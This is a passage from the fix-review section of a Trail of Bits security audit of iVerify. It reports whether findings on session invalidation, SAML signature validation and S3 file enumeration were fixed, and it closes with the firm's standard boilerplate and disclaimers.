Resolved in [PR #6043](#). The SCIM remove() method now calls sessionStorage.invalidateByEmail() to invalidate all active sessions and orgsService.deleteAdmin() to delete the UserTable principal after deprovisioning. The user_group_admin_members table has an ON DELETE CASCADE constraint on principal_id, so admin group memberships are automatically cleaned up when the principal is deleted. A safeguard prevents removal of the last super admin to avoid organization lockout; in that edge case, the principal and sessions are preserved, which means a SCIM-deprovisioned last admin retains portal access. As a defense-in-depth measure, the SAML and OAuth login flows could also be updated to verify the MemberTable.active status, so that a deprovisioned user cannot reauthenticate even if the identity provider-side deactivation is delayed.

TOB-IVERIFY26-16: Inconsistent session invalidation across admin operations

Unresolved, with plans to fix the issue in a later version. No code changes were submitted for this finding. The client indicated that "this is planned work coming in the RBAC rewrite."

TOB-IVERIFY26-17: Encrypted SAML assertions bypass signature validation

Resolved in [PR #5937](#). The `verifySamlSignature` function now requires a valid signature on encrypted assertions. The `?.let` operator that previously silently skipped validation when the signature was null was replaced with an explicit null check that throws a `RuntimeException` if the signature is missing. The separate encrypted Boolean parameter was removed in favor of passing the decrypted assertion directly, eliminating potential parameter inconsistency.

TOB-IVERIFY26-18: SAML assertion signatures are checked for presence but never cryptographically validated

Resolved in [PR #5918](#) and [PR #5937](#). When no response-level signature is present, the code now iterates through assertions with signatures and cryptographically validates each one using `validateWithAnyCert`. [PR #5937](#) additionally adds `SAMLSignatureProfileValidator` validation before cryptographic verification, ensuring structural validity of all signatures.

TOB-IVERIFY26-19: SAML signature validation does not verify that signatures reference their parent elements

Resolved in [PR #5937](#). `SAMLSignatureProfileValidator().validate(signature)` is now called before `SignatureValidator.validate()` in the `validateWithAnyCert` function. This OpenSAML validator enforces that each signature's Reference URI matches its parent element's ID, has exactly one Reference, and uses an enveloped signature transform, preventing XSW attacks.

TOB-IVERIFY26-20: SAML response and assertion attributes are not validated

Resolved in [PR #5918](#), [PR #5937](#) and [iverify/TOB-20](#). Together, the fixes added fail-closed validation for SAML response status, Destination, response/assertion Issuer, assertion Conditions and AudienceRestriction, bearer SubjectConfirmationData Recipient/NotOnOrAfter/InResponseTo, and AuthnStatement presence before attribute extraction, plus organization-scoped single-use AuthnRequest tracking to prevent replay.

TOB-IVERIFY26-21: File validation endpoint enables S3 file enumeration oracle

Unresolved. No fix was submitted for this finding.

The client provided the following context for this finding's fix status:

Review Status: Accepted Risk with Planned Remediation.

D. Fix Review Status Categories

The following table describes the statuses used to indicate whether an issue has been sufficiently addressed.

Fix Status	
Status	Description
Undetermined	The status of the issue was not determined during this engagement.
Unresolved	The issue persists and has not been resolved.
Partially Resolved	The issue persists but has been partially resolved.
Resolved	The issue has been sufficiently resolved.

About Trail of Bits

Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel.

We maintain an exhaustive list of publications at <https://github.com/trailofbits/publications>, with links to papers, presentations, public audit reports, and podcast appearances.

In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon.

We specialize in software testing and code review assessments, supporting client organizations in the technology, defense, blockchain, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, Uniswap, Solana, Ethereum Foundation, Linux Foundation, and Zoom.

To keep up with our latest news and announcements, please follow [@trailofbits on X](#) or [LinkedIn](#) and explore our public repositories at <https://github.com/trailofbits>. To engage us directly, visit our "Contact" page at <https://www.trailofbits.com/contact> or email us at info@trailofbits.com.

Trail of Bits, Inc.

228 Park Ave S #80688

New York, NY 10003

<https://www.trailofbits.com>

info@trailofbits.com

Notices and Remarks

Copyright and Distribution

© 2026 by Trail of Bits, Inc.

All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this report in the United Kingdom.

Trail of Bits considers this report public information; it is licensed to iVerify under the terms of the project statement of work and has been made public at iVerify's request. Material within this report may not be reproduced or distributed in part or in whole without Trail of Bits' express written permission.

The sole canonical source for Trail of Bits publications is the [Trail of Bits Publications page](#). Reports accessed through sources other than that page may have been modified and should not be considered authentic.

Test Coverage Disclaimer

Trail of Bits performed all activities associated with this project in accordance with a statement of work and an agreed-upon project plan.

Security assessment projects are time-boxed and often rely on information provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

Trail of Bits uses automated testing techniques to rapidly test software controls and security properties. These techniques augment our manual security review work, but each has its limitations. For example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. A project's time and resource constraints also limit their use.